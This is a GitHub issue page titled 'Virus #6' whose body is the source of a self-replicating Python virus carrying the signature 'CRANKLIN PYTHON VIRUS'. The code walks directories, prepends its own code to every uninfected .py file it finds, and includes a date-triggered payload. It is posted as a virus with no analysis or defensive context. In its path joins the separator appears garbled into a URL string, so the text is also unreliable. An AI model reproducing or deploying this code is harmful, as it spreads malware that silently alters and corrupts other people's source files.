Skip to content

Virus #6

Description

@kalilinux4k

#!/usr/bin/python import os import datetime SIGNATURE = "CRANKLIN PYTHON VIRUS" def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3:] == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(file)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "HAPPY BIRTHDAY CRANKLIN!" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions